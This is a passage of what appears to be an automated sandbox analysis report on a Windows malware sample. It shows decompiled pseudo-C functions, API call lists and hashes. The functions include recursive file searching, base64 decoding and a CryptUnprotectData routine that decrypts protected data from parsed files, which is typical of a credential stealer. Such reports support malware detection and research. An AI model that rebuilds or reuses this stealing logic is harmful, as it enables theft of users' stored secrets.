				_t9 = GetFileAttributesA(_a4); // executed
				_v8 = _t9;
				if(_v8 == 0xffffffff || (_v8 & 0x00000010) != 0) {
					_v12 = 0;
				} else {
					_v12 = 1;
				}
				return _v12;
			}

0x0040bb7a
0x0040bb80
0x0040bb87
0x0040bb9a
0x0040bb91
0x0040bb91
0x0040bb91
0x0040bba7

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2363b84a69cfc72fd913baae1d07e59ffa601f8f039b52318538f12ef929954e
Instruction ID: 1b9edab68d2826b5b0131880a6de751a29faeb60b77424e98d3c12436ca3350d
Opcode Fuzzy Hash: 2363b84a69cfc72fd913baae1d07e59ffa601f8f039b52318538f12ef929954e
Instruction Fuzzy Hash: 9FE08670C0130CEBCB00DF98C4596ADBB74EB01311F1086A5D805777C0D3346A958B89

Uniqueness

Uniqueness Score: -1.00%

Function 00407150, Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407150() {
				struct HINSTANCE__* _t1;
				int _t2;

				_t1 =  *0x41a82c; // 0x60900000
				_t2 = FreeLibrary(_t1); // executed
				return _t2;
			}

0x00407153
0x00407159
0x00407160

APIs

FreeLibrary.KERNEL32(60900000,?,0040AC48,0041A838,00000004), ref: 00407159

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3c469c4b1ea8764b2b68c86691d259717a335f89d152652d8da5e42c42c8c371
Instruction ID: c18c80ed03d6f96970b2a2d4c6f4e5bc6079d0552be612c81990cf585a03ea73
Opcode Fuzzy Hash: 3c469c4b1ea8764b2b68c86691d259717a335f89d152652d8da5e42c42c8c371
Instruction Fuzzy Hash: 78B0127100130887850067E8BD088F133DCD70C6143008021F10883511C675F420C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0042E090, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0042E097

Memory Dump Source

Source File: 00000017.00000002.431817716.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 03e48f1748b67bbcd48aaa52ad04d0a30784ddf35edf6f10d6ae7781f9eb69bb
Instruction ID: 720028a9d644b576f4ad2882666f829bdc34b4ea2c5c06e13da83261533cf0d2
Opcode Fuzzy Hash: 03e48f1748b67bbcd48aaa52ad04d0a30784ddf35edf6f10d6ae7781f9eb69bb
Instruction Fuzzy Hash: F4A0123114420863C20012C26809B013A4CD3C87A1F040010F20C050500DA155004055

Uniqueness

Uniqueness Score: -1.00%

Function 00A02365, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00A023B6

Memory Dump Source

Source File: 00000017.00000002.432098998.0000000000A01000.00000040.00000001.sdmp, Offset: 00A01000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 21ecc29871b7cf7ec4f8d9c89b450dc22294ddc5dd42bf4d0dcc76218bfaa5fe
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 7F113F79A00208EFDB01DF98C989E99BBF5EF08351F058094F9489B361D375EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00401200, Relevance: 1.3, APIs: 1, Instructions: 41
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401200(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _t19;
				void* _t21;

				_t21 = __ecx;
				E0040B720( &_v268, 0x104);
				if(_a4 == 0) {
					E0040B800(_t21,  &_v268, 0x1a); // executed
				} else {
					E0040B800( &_v268,  &_v268, 0x1c); // executed
				}
				 *0x41aa24( &_v268, _a12);
				_t19 = E00401090(0x41401a,  &_v268, _a16, _a12, _a8, _a20); // executed
				return _t19;
			}

0x00401200
0x00401215
0x0040121e
0x0040123c
0x00401220
0x00401229
0x0040122e
0x0040124f
0x00401271
0x0040127c

APIs

lstrcat.KERNEL32(?,00A16FE8), ref: 0040124F

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPathlstrcat
String ID:
API String ID: 1210066190-0
Opcode ID: 8ae409c9eddae1283d8afacf39b694ab588fcb2dc64fff85c75ccb8f794526ef
Instruction ID: cfc0bd62f74829034cc612df4b91494a0f9e0e0b10b915aa4a7ff2bfd0458b58
Opcode Fuzzy Hash: 8ae409c9eddae1283d8afacf39b694ab588fcb2dc64fff85c75ccb8f794526ef
Instruction Fuzzy Hash: B1013BB690410C67C750EF54DC41FDA737C9B58704F00419AFA88A6191EA74D6D48BE6

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB00, Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BB00(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _t20;

				_v12 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_t20 = LocalAlloc(0x40, _a8 + 1); // executed
					_v12 = _t20;
					if(_v12 != 0) {
						_v8 = 0;
						while(_v8 < _a8) {
							 *((char*)(_v12 + _v8)) =  *((intOrPtr*)(_a4 + _v8));
							_v8 = _v8 + 1;
						}
					}
				}
				return _v12;
			}

0x0040bb06
0x0040bb11
0x0040bb22
0x0040bb28
0x0040bb2f
0x0040bb31
0x0040bb43
0x0040bb59
0x0040bb40
0x0040bb40
0x0040bb43
0x0040bb2f
0x0040bb63

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 59c22aaaf481a5e73130053204e89e0f4c4328cf6ab88a5961ea77c9d8a03016
Instruction ID: d2dc0f40cf47e9cb47180f4b02217863d9778fd5b581b80cec30292b74c0770f
Opcode Fuzzy Hash: 59c22aaaf481a5e73130053204e89e0f4c4328cf6ab88a5961ea77c9d8a03016
Instruction Fuzzy Hash: 8301FB7090420CEBCB05DF98C595BACBBB1EF05308F24C1A9D9196B784C3786F94DB8A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004096E0, Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 213
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E004096E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				void* _t76;
				signed int _t77;
				int _t79;
				signed int _t81;
				intOrPtr _t84;
				signed int _t86;
				signed int _t88;
				intOrPtr _t89;
				signed int _t90;
				intOrPtr _t122;
				intOrPtr _t146;
				void* _t166;
				void* _t167;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t167 = _t166 + 0xc;
				_t76 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t76;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L19;
					}
					_t81 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t167 = _t167 + 0x10;
						_t84 =  *0x41a4cc; // 0xa17868
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t84, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t122 =  *0x41a030; // 0xa18538
							_t86 =  *0x41aa4c( &(_v596.cFileName), _t122);
							__eflags = _t86;
							if(_t86 != 0) {
								_t146 =  *0x41a7e4; // 0xa17850
								_t88 =  *0x41aa4c( &(_v596.cFileName), _t146);
								__eflags = _t88;
								if(_t88 != 0) {
									_t89 =  *0x41a0d4; // 0xa177d8
									_t90 =  *0x41aa4c( &(_v596.cFileName), _t89);
									__eflags = _t90;
									if(_t90 != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
											_t167 = _t167 + 0x1c;
										}
									} else {
										__eflags = _a28;
										if(__eflags != 0) {
											E00409590(_a4, __eflags,  &_v860, _a4, _a12, _a16);
											_t167 = _t167 + 0x10;
										}
										E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
										_t167 = _t167 + 0x1c;
									}
								} else {
									_push(_a16);
									E00409060(_a4, _a4, _a12, _a8);
									E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
									_t167 = _t167 + 0x2c;
								}
							} else {
								__eflags = _a24;
								if(__eflags != 0) {
									E00409400(_a12, __eflags,  &_v860, _a4, _a12, _a16);
									_t167 = _t167 + 0x10;
								}
								E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
								_t167 = _t167 + 0x1c;
							}
						} else {
							E00408C00(_a4, __eflags,  &_v860, _a4, _a12, _a16);
							E004096E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28);
							_t167 = _t167 + 0x2c;
						}
						goto L19;
					}
					goto L4;
					L19:
					_t79 = FindNextFileA(_v272,  &_v596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v272);
			}

0x004096ec
0x004096f9
0x004096ff
0x00409710
0x00409716
0x00409723
0x00000000
0x00000000
0x00000000
0x00000000
0x0040972a
0x0040972a
0x00409736
0x0040973c
0x0040973e
0x00409756
0x00000000
0x00409756
0x0040974c
0x00409752
0x00409754
0x00409772
0x00409778
0x0040977b
0x0040978e
0x00409790
0x004097dc
0x004097ea
0x004097f0
0x004097f2
0x00409844
0x00409852
0x00409858
0x0040985a
0x004098a3
0x004098b0
0x004098b6
0x004098b8
0x0040990d
0x00409910
0x00409934
0x00409939
0x00409939
0x004098ba
0x004098ba
0x004098be
0x004098d3
0x004098d8
0x004098d8
0x004098fd
0x00409902
0x00409902
0x0040985c
0x0040985f
0x0040986c
0x00409896
0x0040989b
0x0040989b
0x004097f4
0x004097f4
0x004097f8
0x0040980d
0x00409812
0x00409812
0x00409837
0x0040983c
0x0040983c
0x00409792
0x004097a5
0x004097cf
0x004097d4
0x004097d4
0x00000000
0x00409790
0x00000000
0x0040993c
0x0040994a
0x00409950
0x00409950
0x00000000

APIs

wsprintfA.USER32 ref: 004096F9
FindFirstFileA.KERNEL32(?,?), ref: 00409710
StrCmpCA.SHLWAPI(?,00414010), ref: 00409736
StrCmpCA.SHLWAPI(?,00414014), ref: 0040974C
FindNextFileA.KERNEL32(000000FF,?), ref: 0040994A
FindClose.KERNEL32(000000FF), ref: 0040995F

Strings

%s\%s, xrefs: 00409766
%s\*, xrefs: 004096ED

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 1519fd6f9f5c0b483e7b6c5176f88e596ecfd98fd3e89c67d3b1837449ae925a
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: FE810EB2510109ABCB14DF99DC84EEB73BDAF8C700F04855DBA09A3251E638EE55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00A12168), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0xa17850
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0xa17a30
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0xa17a30
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0xa17790
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0xa17318
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0xa17258
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0xa172b8
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0xa184d8
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0xa184d8
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0xa184f8
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0xa172c8
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0xa184f8
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0xa184f8
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0xa18ad0
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0xa17308
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,00A16780), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00A17850), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00A17A30), ref: 004091A9
lstrlen.KERNEL32(00A17A30), ref: 004091C9
StrStrA.SHLWAPI(00000000,00A17790), ref: 004091ED
lstrcat.KERNEL32(00000000,00A17318), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,00A17258), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00A172B8), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,00A184D8), ref: 004092BA
lstrlen.KERNEL32(00A184D8), ref: 004092C8
StrStrA.SHLWAPI(00000000,00A184F8), ref: 004092E6
lstrcat.KERNEL32(00000000,00A172C8), ref: 0040930B

